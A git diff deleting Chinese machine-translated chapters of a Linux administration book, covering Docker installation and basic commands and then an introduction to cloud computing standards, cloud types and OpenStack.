-这些组件的工作流程如下:守护进程侦听 API 请求来管理服务和对象(如映像、容器、网络和卷)。 客户机是用户通过 API 与守护进程交互的方式。 注册表存储映像,Docker Hub 是供任何人自由使用的公共注册表。 除此之外,还可以使用私有注册表: - -![Figure 11.34 – Docker workflow](img/B13196_11_34.jpg) - -图 11.34 - Docker 工作流 - -Docker 可能看起来很难,甚至对初学者来说也很难解除。 所有在一起工作的不同组件、所有那些新的类型和特定的工作流都是复杂的。 在阅读了这一部分之后,你觉得你知道 Docker 是如何工作的吗? 当然不是。 学习 Docker 的过程才刚刚开始。 有一个强大的基础来建立你的 Docker 知识是非常重要的。 这就是为什么在下一节中,我们将向您展示如何使用 Docker。 - -# 与 Docker 一起工作 - -我们将在 Intel NUC 第十代机器上使用 Ubuntu 20.04.1 LTS 作为本节的练习,该机器使用四核处理器、16gb RAM 和 512gb SSD 驱动器。 我们要做的第一件事就是安装 Docker 社区版。 但在此之前,让我们先来了解一下 Docker 作为一个实体是如何运作的。 - -## 选择哪个 Docker 版本? - -为了业务是可行的,码头工人有两个不同的产品,**码头工人 Community Edition**(**CE)和码头工人**企业版**(**【显示】EE)。 在这两个版本中,只有 EE 版本负责 Docker 的收入。 - -CE 版本是免费的,是开源软件。 CE 有两个版本- Edge 和 Stable。 前者是在每月发布的模型上部署最新特性,而后者提供稳定的软件版本,经过测试,并有 4 个月的安全更新间隔。 - -EE 版本是面向企业的付费版本。 它是完全支持和认证的 Red Hat, SUSE,和 Canonical 的企业准备 Linux 发行版。 自 2019 年以来,Docker EE 是企业容器编排提供商 Mirantis 的一部分。 - -对于本节的范围,我们将使用 Docker CE。 - -## 安装 Docker CE - -根据您所选择的首选 Linux 发行版的版本,官方存储库中可用的包可能已经过时。 不过,您有两种选择:一种是使用资源库中的官方包,另一种是从官方 Docker 网站下载最新的可用版本。 - -由于我们使用的是一个全新的系统,没有预先安装 Docker,我们不需要担心旧版本的软件以及可能与新版本不兼容的问题。 - -安装 Docker 的步骤如下: - -1. 首先,添加 Docker 存储库所需的软件包: - - ```sh - sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg - ``` - -2. In order to use the official Docker repository, you will need to add the Docker GPG key. For this, use the following command: - - ![Figure 11.35 – Adding the Docker GPG key](img/B13196_11_35.jpg) - - 图 11.35 -添加 Docker GPG 密钥 - -3. Set up the repository needed to install the stable version of Docker CE: - - ![Figure 11.36 – Adding the stable repository](img/B13196_11_36.jpg) - - 图 11.36 -添加稳定存储库 - -4. When you update the repository list, you should see the official Docker one: - - ![Figure 11.37 – The official Docker repository on the list](img/B13196_11_37.jpg) - - 图 11.37 -列表中的官方 Docker 存储库 - -5. Install the Docker CE packages, called `docker-ce`, `docker-ce-cli`, and `containerd.io`: - - ![Figure 11.38 – Installing Docker CE](img/B13196_11_38.jpg) - - 图 11.38 -安装 Docker CE - -6. To verify that you installed the packages from the official Docker repository and not the ones from the Ubuntu repositories, run the following command. If the output shows the source from the `docker.com` website, this means that the source repository is the official Docker one: - - ![Figure 11.39 – Verifying the source repository](img/B13196_11_39.jpg) - - 图 11.39 -验证源存储库 - -7. Check the status of the Docker daemon. It should be started right after installation: - - ![Figure 11.40 – Checking the status of the Docker daemon](img/B13196_11_40.jpg) - - 图 11.40 -检查 Docker 守护进程的状态 - -8. At the time of installation, a Docker group is created. In order to be able to use Docker, your user should be added to the `docker` group. You can either use your existing user or create a new one. After you add the user, log out and back in again and check whether you were added to the new group: - - ![Figure 11.41 – Adding a user to the Docker group](img/B13196_11_41.jpg) - - 图 11.41 -添加一个用户到 Docker 组 - -9. 已完成 Docker 的安装。 现在你可以让 Docker 守护进程在系统启动时启动: - -![Figure 11.42 – Enabling the Docker daemon](img/B13196_11_42.jpg) - -图 11.42 -启用 Docker 守护进程 - -安装 Docker 只是的第一步。 现在让我们来探索一下我们能用它做什么。 在下一节中,您将了解可用的 Docker 命令。 - -## 使用 Docker 命令 - -与 Docker 一起工作意味着使用其**命令行界面**(**CLI**)。 它有大量可用的子命令。 如果您想查看全部,您应该运行`docker –help`命令。 这里显示了两个主要的命令组。 第一组显示管理命令,第二组显示常规命令。 我们不会在本节中讨论所有的命令。 我们将只关注那些您将需要开始使用 Docker。 - -在学习有关命令的任何内容之前,让我们先执行一个测试,看看安装是否正常工作。 我们将使用`docker run`命令来检查是否可以访问 Docker Hub 并运行容器: - -![Figure 11.43 – Running the first docker run command](img/B13196_11_43.jpg) - -图 11.43 -运行第一个 docker run 命令 - -前面的截图是不言自明的,是 Docker 团队的一个很好的触摸。 它用清晰易懂的句子解释了命令在后台的作用。 通过运行`docker run`命令,您可以了解工作流和安装成功的信息。 而且,它是您将相对经常使用的基本 Docker 命令之一。 - -现在让我们深入挖掘并搜索 Docker Hub 上可用的其他图像。 让我们搜索一个 Ubuntu 映像来运行容器。 要搜索图像,我们将使用`docker search`命令: - -```sh -docker search ubuntu -``` - -该命令的输出应该列出所有在 Docker Hub 中可用的 Ubuntu 镜像: - -![Figure 11.44 – Searching for the Ubuntu image](img/B13196_11_44.jpg) - -图 11.44 -搜索 Ubuntu 镜像 - -如您所见,输出有 5 个列。 第一列显示图像的名称,第二列显示了描述,第三列显示恒星的数量(某种流行),第四列是否显示图像是一个官方支持的公司背后的分布/软件,和第五列显示的图像是否有自动脚本。 - -找到要查找的映像后,可以使用`docker pull`命令将其下载到系统中: - -![Figure 11.45 – Downloading the image you want with the docker pull command](img/B13196_11_45.jpg) - -图 11.45 -使用 docker pull 命令下载您想要的映像 - -使用此命令,映像将从本地下载到您的计算机上。 现在,容器可以使用这个映像运行。 要列出计算机上已经可用的映像,请运行`docker images`命令: - -![Figure 11.46 – A list of the downloaded images](img/B13196_11_46.jpg) - -图 11.46 -下载的图像列表 - -请注意 Ubuntu Docker 图像的小尺寸。 你可能想知道为什么它这么小? 因为 Docker 映像只包含运行所需的基本和最小包。 这使得在映像上运行的容器在资源使用方面非常高效。 - -我们展示的这几个命令是开始使用 Docker 所需要的最基本的命令。 现在您已经知道了如何下载映像,接下来让我们演示如何运行 Docker 容器。 - -## 管理 Docker 容器 - -我们将使用之前下载的 Ubuntu 映像。 要运行它,我们将使用带有两个参数`-i`和`-t`的`docker run`命令,这将使我们能够交互式地访问 shell: - -![Figure 11.47 – Running a Docker container](img/B13196_11_47.jpg) - -图 11.47 -运行 Docker 容器 - -您将注意到您的命令提示符将发生变化。 现在它将包含容器 ID。 该用户默认为 root 用户。 基本上,您现在是在一个 Ubuntu 映像中,所以您可以像使用任何 Ubuntu 命令行一样使用它。 您可以更新存储库、安装必要的应用、删除不必要的应用,等等。 您对容器映像所做的任何更改都将保留在容器内。 要退出容器,只需键入`exit`。 - -您可以在系统上打开一个新终端,检查有多少 Docker 容器正在运行。 禁止关闭运行 ubuntu 容器的终端。 - -在输出中,您将看到在另一个终端中运行的容器的 ID。 还有关于在容器中运行的命令和创建时间的详细信息。 有几个参数可以与`docker ps`命令一起使用。 如果您想查看所有活动容器和未活动容器,请使用`docker ps -a`命令。 如果您想查看最新创建的容器,请使用`docker ps -l`命令。 下面是`docker ps`命令的所有三个变体的输出: - -![Figure 11.48 – Listing containers with the docker ps command](img/B13196_11_48.jpg) - -图 11.48 -使用 docker ps 命令列出容器 - -在输出中,您还将看到分配给容器的名称,比如`hopeful_ramanujan`和`serene_kapitsa`。 这些是由守护进程自动给容器的随机名称。 - -当管理容器时,例如启动、停止或删除容器,您可以使用容器 ID 或 Docker 分配的名称来引用它们。 现在让我们来看看如何启动、停止和移除一个容器: - -![Figure 11.49 – Starting, stopping, and removing a container](img/B13196_11_49.jpg) - -图 11.49 -启动、停止和移除容器 - -在前面的输出中,我们首先使用`docker ps`命令列出活动容器。 结果显示没有活动的容器。 然后使用`docker start`命令启动基于 ubuntu 的 Docker 容器`hopeful_ramanujan`。 紧接着,我们再一次使用`docker ps`命令查看该容器是否被列为活动的。 然后,我们使用`docker stop`命令停止容器,并再次运行`docker ps`以确保它已停止。 然后,使用`docker rm`命令删除容器。 - -一旦您删除容器,您所做的任何更改以及没有保存(提交)的更改都将丢失。 现在让我们展示如何将在容器中所做的更改提交到 Docker 映像。 这意味着您将把容器的特定状态保存为一个新的 Docker 映像。 - -假设您想在 Ubuntu 上开发、测试和部署 Python 应用。 Ubuntu 的默认 Docker 映像没有安装 Python。 在下面的截图中,我们展示了如何启动容器,以及如何检查是否安装了 Python: - -![Figure 11.50 – Checking for Python in the container](img/B13196_11_50.jpg) - -图 11.50 -检查容器中的 Python - -我们检查了 Python 2 和 Python 3,但是两个版本都没有安装在映像上。 由于我们想使用最新版本的编程语言,我们将使用以下命令来安装 Python 3 支持: - -```sh -apt install python3 -``` - -现在,安装了 Python 3 后,我们可以将容器实例保存到一个新的 Docker 映像中。 为此,我们将使用`docker commit`命令。 当使用此命令时,您将将新映像保存到本地计算机上,但也有可能将其保存到 Docker Hub,以便其他人也使用它。 要保存到 Docker Hub,您需要创建一个活跃的 Docker 用户。 现在,我们将在本地保存新图像: - -![Figure 11.51 – A new image committed locally](img/B13196_11_51.jpg) - -图 11.51 -本地提交的新图像 - -注意我们刚刚保存的图像的大小增加了。 安装 Python 3 会使初始 Ubuntu 镜像的大小增加一倍多。 - -到目前为止,您已经学习了如何使用非常基本的 Docker 命令来打开、运行和保存容器。 在本节的最后一部分,我们将向您展示如何使用 Docker 来部署一个非常基础的应用。 我们将使它如此简单,以便部署的应用将是一个基本的静态表示网站。 - -## 使用 Docker 部署一个容器化应用 - -本节的练习,我们将使用从网上随机下载的一个免费的网站模板(下载链接为[https://www.free-css.com/free-css-templates/page262/focus](https://www.free-css.com/free-css-templates/page262/focus))。 我们正在下载主目录中的文件。 这是一个压缩 zip 文件。 我们假设你已经知道如何解压 ZIP 文件,但是我们会给你一个提示; 您可以使用`unzip`命令: - -![Figure 11.52 – Downloading a zip file with the website contents](img/B13196_11_52.jpg) - -图 11.52 -下载包含网站内容的 zip 文件 - -下载文件并提取归档文件之后,您可以继续在同一目录中创建一个**Dockerfile**。 由于这是您第一次遇到这种类型的文件,让我们解释一下它是什么。 Dockerfile 是一个基于文本的文件,其中包含用户在创建映像时将执行的命令。 Docker 使用这个文件根据用户在文件中提供的信息自动构建映像。 - -在下面的文章中,我们将在当前的工作目录中创建一个 Dockerfile,这个目录就是解压归档文件的目录。 Dockerfile 的内容如下所示: - -![Figure 11.53 – The Dockerfile contents](img/B13196_11_53.jpg) - -图 11.53 - Dockerfile 内容 - -该文件很简单,只有两行。 第一行使用`FROM`关键字指定我们将使用的基本映像,这将是在 Docker Hub 上可用的官方 NGINX 映像。 第二行使用`COPY`关键字指定当前工作目录的内容将复制到新容器中的位置。 下面的操作是使用`docker build`命令构建 Docker 映像: - -![Figure 11.54 – Using the docker build command](img/B13196_11_54.jpg) - -图 11.54 -使用 docker build 命令 - -上面突出显示的命令使用`-t`参数为新图像创建标记。 您可以使用`docker images`命令验证是否创建了新映像: - -![Figure 11.55 – Verifying whether the new image was created](img/B13196_11_55.jpg) - -图 11.55 -验证是否创建了新映像 - -由于输出显示创建了名为`static-website`的新映像,您可以使用它启动一个新容器。 由于我们将需要从外部访问容器,所以将需要打开特定的端口,并且我们将使用`docker run`命令中的`-p`参数来完成此操作。 我们可以指定一个端口,也可以指定一系列端口。 在指定端口时,我们将提供容器和主机的端口。 我们将使用`-d`参数来分离容器并在后台运行它: - -![Figure 11.56 – Creating a new container using the docker run command](img/B13196_11_56.jpg) - -图 11.56 -使用 docker run 命令创建一个新容器 - -正如您在前面的截图中看到的,我们将主机端口`8080`暴露到容器上的端口`80`。 我们可以使用两个端口`80`,但是在主机上,它可能被其他服务占用。 现在,您可以通过访问 web 浏览器并在地址栏中输入本地 IP 地址和端口`8080`来访问新的容器化应用。 - -现在,我们已经向您展示了如何使用 Docker,如何管理容器,以及如何在容器中部署一个基本的网站。 Docker 的意义远不止于此,但这已经足够让你入门,让你想要了解更多。 - -# 总结 - -在本章中,我们强调了虚拟化和容器化的重要性。 - -我们向您展示了 vm 和容器之间的区别。 了解了如何使用 KVM 部署虚拟机。 我们还展示了如何使用 Boxes 在 GNOME 中快速创建一个 VM。 有了这两种资产,您就可以毫无顾虑地踏上虚拟化之路了。 我们还向您展示了容器是什么,它们是如何工作的,以及它们为什么如此重要。 容器是现代 DevOps 革命的基础,您现在可以使用它们了。 我们还教你有关 Docker,基本命令的圆滑使用。 现在你已经准备好开始云之旅了,因为这将是本书的最后一部分。 - -虚拟化和容器技术是云技术的核心。 这就是为什么,在下一章,我们将向你介绍基本的云技术,OpenStack, AWS, Azure, Ansible 和 Kubernetes。 - -# 进一步阅读 - -有关本章所述主题的更多资料,可参阅以下书籍: - -* *Docker 快速入门指南*,*Earl Waud*,*Packt Publishing*([https://www.packtpub.com/product/docker-quick-start-guide/9781789347326](https://www.packtpub.com/product/docker-quick-start-guide/9781789347326)) -* *掌握 KVM 虚拟化——第二版*、*Vedran Dakic*,*谦卑 Devassy Chirammal*,*Prasad Mukhedkar*、【显示】Anil Vettathu,*Packt 出版*(【病人】https://www.packtpub.com/product/mastering-kvm-virtualization-second-edition/9781838828714) -* *LXC 集装箱化*、*Konstantin Ivanov*、*包装出版*([https://www.packtpub.com/product/containerization-with-lxc/9781785888946](https://www.packtpub.com/product/containerization-with-lxc/9781785888946))******** \ No newline at end of file diff --git a/docs/master-linux-admin/12.md b/docs/master-linux-admin/12.md deleted file mode 100644 index 47e972ee..00000000 --- a/docs/master-linux-admin/12.md +++ /dev/null @@ -1,434 +0,0 @@ -# 十二、云计算基础 - -在本章中,您将学习云计算的基础知识,并将介绍云基础设施技术的核心基础。 您将了解*作为服务解决方案,比如**基础设施即服务(IaaS**),**平台即服务**(【显示】PaaS),**软件即服务(SaaS【病人】),和**容器作为服务**(【t16.1】中国农科院的)。 您将看到云标准的基本知识,开发和操作**(**DevOps**),**持续集成/持续部署**(**CI / CD),和 microservices。 云的基础知识意味着至少对 OpenStack、**Amazon Web Services**(**AWS**)、Azure 和其他云解决方案有一个基本的介绍。 在本章结束时,我们将向您介绍诸如 Ansible 和 Kubernetes 之类的技术。 本章将提供一个简短而简明的理论介绍,这将是接下来三个与云相关章节的基础,这三个章节将为您提供关于这里提出的许多解决方案的重要实践知识。*********** - - ***在本章中,我们将涵盖以下主要主题: - -* 云技术简介 -* OpenStack 简介 -* IaaS 解决方案介绍 -* PaaS 解决方案介绍 -* 介绍中国农科院的解决方案 -* 引入 DevOps -* 介绍云管理工具 - -# 技术要求 - -本章是纯理论的,不需要特别的技术要求。 您所需要的只是渴望了解云技术。 - -本章的代码可通过以下链接获得:[https://github.com/PacktPublishing/Mastering-Linux-Administration](https://github.com/PacktPublishing/Mastering-Linux-Administration)。 - -# 云技术简介 - -*项云计算*,或简单的替代云*,不缺少任何科技爱好者或信息技术**(**【显示】)专业的词汇。 您甚至不需要参与 IT 工作,就可以相对频繁地听到(甚至使用)术语*云*。 今天的计算领域正在快速变化,而这种变化的顶峰是云及其背后的技术。 根据文献,术语*云计算*于 1996 年首次使用,出现在康柏的一个商业计划中([https://www.technologyreview.com/2011/10/31/257406/who-coined-cloud-computing/](https://www.technologyreview.com/2011/10/31/257406/who-coined-cloud-computing/))。***** - - **云计算**是一个相对较旧的概念,尽管它从一开始就没有被称为这个术语。 云计算是一种从早期计算时代就开始使用的计算模型。 例如,在 20 世纪 50 年代,有一些大型计算机可以从不同的终端访问。 这种模式与现代云计算类似,服务通过互联网托管并交付到不同的终端,从台式电脑到智能手机、平板电脑或笔记本电脑。 这个模型所基于的技术极其复杂,对于任何想要掌握它们的人来说都是必不可少的。** - - **为什么在一个标题*精通 Linux*中有一整节专门讨论云计算和技术? 因为 Linux 在过去的十年里已经占领了云计算领域,就像 Linux 占领了互联网和高性能计算领域一样。 根据*TOP500*协会,世界 500 强超级计算机都运行在 Linux 上([https://top500.org/lists/top500/2020/11/](https://top500.org/lists/top500/2020/11/))。 云需要有一个操作系统来操作,但不一定非得是 Linux。 然而,Linux 运行在几乎 90%的公共云上([https://www.redhat.com/en/resources/state-of-linux-in-public-cloud-for-enterprises](https://www.redhat.com/en/resources/state-of-linux-in-public-cloud-for-enterprises)),主要是因为它的开源特性吸引了公共和私营部门的 IT 专业人员。 - -在下一节中,我们将讨论云标准的主题,以及为什么在计划部署或管理云实例时最好了解这些标准。 - -## 理解云计算标准的需求 - -在讨论云计算的更多细节之前,让我们先简要介绍一下什么是云标准,以及它们在整个当代云环境中的重要性。 您可能知道,在更宽的**信息和通信技术**(**ICT**)范围内,几乎每一项活动都受到某种标准或法规的约束。 - -云计算并不是荒地,您会惊讶地发现,有多少协会、监管委员会和组织参与了云计算标准和法规的开发。 涵盖所有这些机构和标准超出了本书和本章的范围,但我们将描述一些最重要和相关的(在我们看来),以便您能够了解它们在保持云在一起和 web 应用运行方面的重要性。 - -### 国际标准化组织/国际电工委员会 - -两个最广为人知的标准实体是**国际标准化组织(ISO**)和**国际电工委员会**(**【显示】IEC), 他们目前在云计算和分布式平台上有 28 已经发布和未开发的标准。 他们有一个联合工作组,为特定的云核心基础设施、消费者应用平台和服务开发标准。 这些标准被发现在**联合技术委员会的职责 1**(【t16.1】**JTC 1)**小组委员会 38**(**SC38**),或*ISO / IEC JTC 1 / SC 38*。**** - - **从 ISO / IEC 标准的例子包括但并不局限云计算**服务水平协议(SLA**)框架(*ISO / IEC 19086 - 1:2016*,*ISO / IEC 19086 - 2:2018【显示】,*ISO / IEC 19086 - 3:2017*); 云计算【病人】面向服务的体系结构(SOA**)框架(【t16.1】ISO / IEC 18384 - 1:2016*****,*ISO / IEC 18384 - 2:2016*,*ISO / IEC 18384 - 3:2016*); **开放虚拟化格式**(**OVF**)规范(*ISO/IEC 17203:2017*); 云计算**数据共享协议**(**DSA**)框架*ISO/IEC CD 23751*; **分布式应用平台与服务**(**DAPS**)技术原理*ISO/IEC TR 30102:2012*); 和其他人。 仔细查看标准,请访问[https://www.iso.org/committee/601355/x/catalogue/](https://www.iso.org/committee/601355/x/catalogue/)。 我们名单上的下一个标准的发展实体是一个叫做**云标准的计划协调**(**CSC),由欧洲委员会**(****EC),与专业机构在一起。********** - - ****### CSC 倡议 - -早在 2012 年,欧盟委员会,连同**欧洲电信标准协会**(**ETSI**),推出了 CSC 制定标准和政策对于云安全、互操作性和可移植性。 该计划分为两个阶段,第一阶段于 2012 年开始,第二阶段于 2015 年开始。 第二阶段(版本 2.1.1)最终报告公开如下:云计算用户需求(*ETSI SR 003 381*); 标准与开源(*ETSI SR 003 382*); *ETSI SR 003 391*; 标准成熟度评估(*ETSI SR 003 392*)。 有关这些标准的详细信息,请访问以下链接:[http://csc.etsi.org/](http://csc.etsi.org/)。 继续列表最广为人知的实体标准发展:美国【t16.1】(**美国**)**国家标准与技术研究院(NIST**)。**** - - ****### NIST - -这将不是你第一次在这本书中读到 NIST。 NIST 是美国商务部内部的标准开发机构。 NIST 的主要目标是在美国政府机构内部实现安全性和互操作性的标准化,因此任何有兴趣为这些实体开发的人都应该看看 NIST 的云文档。 规范云计算的 NIST 文档名为*NIST SP 500-291r2*,可以在[http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf](http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf)中找到。 我们将关闭短清单的 oldest-if oldest-standards 发展机构,联合国的一部分【显示】(**联合国)组织:国际电信联盟【病人】**(**ITU**)。 - -### The ITU - -国际电联是联合国内部的一个机构,其主要工作重点是制定通信、网络和发展标准。 该机构成立于 1865 年,主要负责全球无线电频谱和卫星轨道分配。 它还负责使用莫尔斯电码作为标准的通信手段。 当谈到全球信息基础设施、网络协议、下一代网络、**物联网**(**物联网),和智能城市,国际电信联盟有很多可用的标准和建议。 想要一探究竟,请点击以下链接:[https://www.itu.int/rec/T-REC-Y/en](https://www.itu.int/rec/T-REC-Y/en)。 为了缩小上述链接的文档列表,可以使用文档代码找到一些特定的云计算文档,从*Y.3505*到*Y.3531*。 云计算**研究小组开发的标准 13**(【t16.1】SG13)**云计算联合协调活动**(**JCA-Cloud)在国际电联。**** - - ****除了实体描述在这一节中,有很多人,如**云标准客户委员会**(**CSCC**),**分布式管理任务组**(**【显示】DMTF),和**结构化信息标准促进组织**(**【病人】绿洲) 只是为了说出一些。 在云计算中采用标准的主要原因是在涉及**云服务提供商**(**CSP**)或客户端时,易于使用。 这两种类型都需要方便地访问数据,对于 csp 和应用开发人员更是如此,因为方便地访问数据转化为敏捷性和互操作性。 应用框架、网络协议和**应用编程接口**(**api**)的标准化保证了的成功。**** - -### 通过 api 理解云 - -标准除了在技术上正确外,还需要保持一致和持久性。 根据文献,主要有两组标准:一组是实践中建立的标准,另一组是正在被规范的标准。 云标准的一个重要部分,来自第二类,是 API。 api 是协议、过程和函数的集合:这些都是构建分布式网络应用所需的基础。 现代 api 是在 21 世纪初出现的,最初是 Roy Fielding 博士论文中的一个理论。 在现代 api 之前,有 SOA 标准和**简单对象访问协议(SOAP**),基于**【显示】可扩展标记语言(XML****)。 现代 api 基于一种新的应用架构风格,称为**REpresentational State Transfer**(**REST**)。****** - -REST api 基于一系列体系结构风格、元素、连接器和视图,Roy Fielding 在他的论文中清楚地描述了这些。 API 要实现 RESTful 有六个指导约束,它们是:统一的用户界面、客户机-服务器清晰的描述、无状态操作、可缓存的资源、分层的服务器系统和按需执行代码。 尽管如此,遵循这些指导原则还远远不能遵循标准,但是 REST 将它们作为高级抽象层提供给开发人员。 除非它们是标准化的,否则它们将永远是在开发人员中产生困惑和挫折的伟大原则。 - -唯一的组织,管理标准化云是 DMTF REST api,通过**云基础设施管理界面**(**CIMI)模型和 RESTful**超文本传输协议(HTTP【显示】**)的协议,在文档编码*DSP0263v2*, 可从以下链接下载:[https://www.dmtf.org/standards/cloud](https://www.dmtf.org/standards/cloud)****** - - **将来开发人员在设计 REST api 时可能会使用其他规范作为标准。 其中,**OpenAPI 规范**(**美洲国家组织),一个行业标准,它提供了一个 API 开发语言无关描述(文档可以在[http://spec.openapis.org/oas/v3.0.3](http://spec.openapis.org/oas/v3.0.3)),**GraphQL【显示】,查询语言和服务器端运行时, 支持多种编程语言,如 Python、JavaScript、Scala、Ruby 和**PHP: Hypertext Preprocessor**(**PHP**)。**** - -REST 之所以成为首选 API,是因为它更容易理解、更轻量级、更容易编写。 它更高效,使用更少的带宽,支持多种数据格式,并使用**JavaScript 对象表示法**(**JSON**)作为首选数据格式。 JSON 易于读写,并且在使用不同语言(如 JavaScript、Ruby、Python、Java 等)编写的应用之间提供更好的互操作性。 通过使用 JSON 作为 API 的默认数据格式,使其变得友好、可伸缩且与平台无关。 - -在 web 和云计算中,api 无处不在,是 SOA 和微服务的基础。 例如,微服务通过为云分布式资源提供优化的架构,使用 RESTful api 在服务之间进行通信。 - -因此,如果您想掌握云计算技术,您应该开放地接受云标准。 在下一节中,我们将讨论云类型和架构。 - -## 了解云的架构 - -云的建筑设计类似于建筑的建筑设计。 有一种设计范例支配着云——在这种范例中,设计从一个空白、干净的绘图板开始,建筑师将不同的标准化组件放在一起,以实现建筑设计。 最终的结果是基于一定的建筑风格。 设计云架构时也是如此。 - -云基于客户机-服务器、分层、无状态的基于网络的架构风格。 REST api、SOA、微服务和 web 技术都是构成云的基础的基本组件。 云的架构已经由美国 NIST 定义,它是美国商务部的一部分([https://www.nist.gov/publications/nist-cloud-computing-reference-architecture](https://www.nist.gov/publications/nist-cloud-computing-reference-architecture))。 - -云背后的一些技术已经在[*第 11 章*](11.html#_idTextAnchor192)、*与容器和虚拟机一起工作*中讨论过。 实际上,虚拟化和容器都是云计算的基础技术。 - -让我们设想这样一种情况,您希望有多个 Linux 系统来部署您的应用。 您首先要做的是访问 CSP 并请求您需要的系统。 CSP 将根据您的需要在其基础架构上创建**虚拟机**(**虚拟机**),并将所有这些虚拟机放在同一个网络中,并与您共享访问它们的凭据。 通过这种方式,您可以访问您想要的系统,但需要支付按日、月或年计费的订阅费用,或者根据资源消耗情况计费。 大多数时候,这些 CSP 请求是通过一个特定的 web 界面来完成的,该界面是由提供商开发的,以最适合其用户的需求。 - -云所使用的一切技术都基于虚拟机和容器。 在云中,一切都是抽象和自动化的。 - -### 描述云类型 - -无论哪种类型,每个云都有一个特定的**架构**,就像我们在前一节中展示的那样。 它为云计算的基础提供了*蓝图*。 云架构是云基础设施的基础,而基础设施是云服务的基础。 看到一切是如何联系在一起的了吗? 现在让我们看看与云相关的基础设施和服务。 - -云基础设施主要有四种类型,如下: - -* **公共云**:这些运行在提供商拥有的基础设施上,主要在外部可用; 最大的公共云提供商是 AWS、微软 Azure 和谷歌 cloud。 公有云基础设施类型如下图所示: - -![Figure 12.1 – Diagram showing a public cloud type](img/B13196_12_01.jpg) - -图 12.1 -显示公共云类型的图 - -* **私有云**:这些专门为具有隔离访问权限的个人和组运行; 它们可在本地或外部硬件基础设施中使用。 有可用的托管私有云或专用私有云。 -* **混合云**:这些云是私有云和公共云,运行在连接的环境中,具有可用于潜在按需伸缩的资源。 -* **多云**:这些是多个云运行于多个提供商。 - -不同的云类型如下图所示: - -![Figure 12.2 – Diagram showing private, hybrid, and multi-cloud types](img/B13196_12_02.jpg) - -图 12.2 -显示私有云、混合云和多云类型的图 - -上面的图显示了私有云、混合云和多云类型在理论上是如何工作的。 为了更好地理解私有云的概念,我们展示了在本地运行的云,在业务之外有限制访问。 为同时使用私有云和公共云的企业展示了混合云类型,而多云类型展示了企业如何运行多个私有云、公共云或混合云。 - -除此之外,主要有三种云服务类型: - -* **IaaS**:通过 IaaS 云服务类型,云提供商管理所有硬件基础设施,如服务器和网络,以及虚拟化和数据存储。 基础设施由供应商拥有,由用户租用; 在这种情况下,用户需要管理操作系统、运行时、自动化、管理解决方案和容器,以及数据和应用。 IaaS 是每个云计算服务的支柱,因为它提供所有的资源。 -* **CaaS**:认为是 IaaS 的一个*子集; 它与 IaaS 具有相同的优势,只是基础由容器组成,而不是 vm,而且它更适合部署分布式系统和微服务体系结构。* -* **PaaS**:采用 PaaS 云服务类型,由云提供商管理硬件基础设施、网络、软件平台; 用户管理和拥有数据和应用——因此 DevOps。 下图显示了 IaaS、CaaS 和 PaaS 模型: - -![Figure 12.3 – Diagram for IaaS, CaaS, and PaaS](img/B13196_12_03.jpg) - -图 12.3 - IaaS、CaaS 和 PaaS 图 - -* **SaaS**:SaaS 云服务类型,由云提供商管理和拥有硬件、网络、软件平台、管理和软件应用。 这种类型的服务也以提供网页应用或移动应用而闻名。 -* 除了这些类型的服务,我们还应该讨论另一种服务::**无服务器计算**服务。 与名称所暗示的不同,无服务器计算仍然意味着使用服务器,但运行服务器的基础设施对用户是不可见的,而用户在大多数情况下是开发人员。 无服务器类似于 SaaS; 实际上,它正好适合 PaaS 和 SaaS 之间。 它没有基础设施管理,具有可伸缩性,为应用开发人员提供了更快的营销方式,并且在资源使用方面非常高效。 下面的图表显示了 SaaS 和无服务器类型的组件: - -![Figure 12.4 – Diagram showing SaaS and serverless types](img/B13196_12_04.jpg) - -图 12.4 -显示 SaaS 和无服务器类型的图 - -现在您已经了解了云基础设施和服务的类型,您可能想知道为什么您、您的企业或您认识的任何人都应该迁移到云服务。 首先,云计算基于对由 CSP 托管和管理的各种资源的按需访问。 这意味着基础设施由 CSP 拥有或管理,用户将能够基于订阅费用访问资源。 应该迁移到云吗? 我们将在下一节中讨论迁移到云的优点和缺点。 - -## 了解云计算的关键特性 - -在决定将迁移到云是否是一个好的决定之前,您需要知道这样做的优点和缺点。 云计算确实提供了一些基本特性,例如下面列出的: - -* **成本节约**:基础设施建设产生的成本降低,现在由 CSP 管理; 这将用户的注意力放在应用开发和业务运行上。 -* **速度**、**敏捷性**和**资源访问**:所有资源在任何时间、任何地点都可以使用,只需点击几下鼠标即可(取决于互联网连接和速度)。 -* **可靠性**:资源托管在不同的位置,通过提供良好的质量控制、**灾难恢复**(**DR**)策略和损失预防; 维护是由 CSP 完成的,这意味着终端用户不需要浪费时间和金钱来做这些。 - -除了前面列出的优点(关键特性)之外,也可能存在缺点,例如**性能变化**、**停机时间**和**缺乏可预测性**。 然而,对于那些想要迁移到云上的人来说,这些并不是阻碍。 - -根据您选择的 CSP,性能可能有所不同,但没有任何大型 CSP 存在显著的性能问题。 在大多数情况下,性能是由用户的本地网速决定的,所以它毕竟不是 CSP 问题。 停机可能是一个问题,但所有主要供应商都努力提供 99.9%的正常运行时间。 如果灾难发生,问题在几分钟内就能解决——或者在最坏的情况下,在几小时内就能解决。 关于 CSP 及其在市场上的存在缺乏可预测性,但可以肯定的是,没有一个大的玩家会很快消失。 - -在下一节中,我们将向您介绍 OpenStack 平台。 - -# OpenStack 简介 - -**OpenStack**一直由**开放基础设施基础**(**OpenInfra 基金会)2020 年 10 月以来,提供一组开源工具,用于构建和管理云基础设施。 OpenStack 支持创建公有云和私有云。** - -OpenStack 是一组用于创建和管理云基础设施的工具,它将所需的组件作为粒度模型提供给特定于云计算的服务。 OpenStack 最初是在 2010 年作为 Rackspace 和**美国国家航空航天局**(**NASA**)的一个联合项目发布的,是用 Python 编写的,并在 Apache 2.0 许可证下授权。 - -与虚拟化技术类似,OpenStack 采用基于特定 api 的软件层对虚拟资源进行抽象。 - -OpenStack 最新版本名为“Victoria”,于 2020 年 10 月发布。 它为裸金属虚拟机和容器提供了基础云基础设施。 OpenStack 具有模块化结构,在添加特性和功能方面提供了极大的灵活性。 模块化是由它提供的组件提供的,每个组件都具有用于访问基础设施资源的特定 api。 下面是一些 OpenStack 组件的列表,按类别分类: - -* **Web interface**: - - a)**Horizon**:一个仪表板,用于管理所有 OpenStack 服务 - -* **Compute** - - a)**Nova**:按需提供资源的计算服务 - - b)**Zun**:一个容器服务,它使用不同的容器技术提供创建和管理容器的 API - -* **Storage**: - - a)**Swift**:面向可扩展性、高可用性和并发性的对象存储服务。 